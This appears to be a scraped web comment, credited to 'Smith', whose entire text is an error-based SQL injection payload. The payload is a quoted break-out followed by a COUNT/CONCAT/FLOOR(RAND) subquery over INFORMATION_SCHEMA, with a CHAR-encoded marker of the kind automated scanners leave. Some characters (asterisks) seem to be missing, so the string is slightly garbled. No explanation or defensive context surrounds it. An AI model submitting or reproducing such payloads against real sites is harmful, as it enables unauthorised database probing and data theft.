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over 5 years ago by Smith

-1" and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+"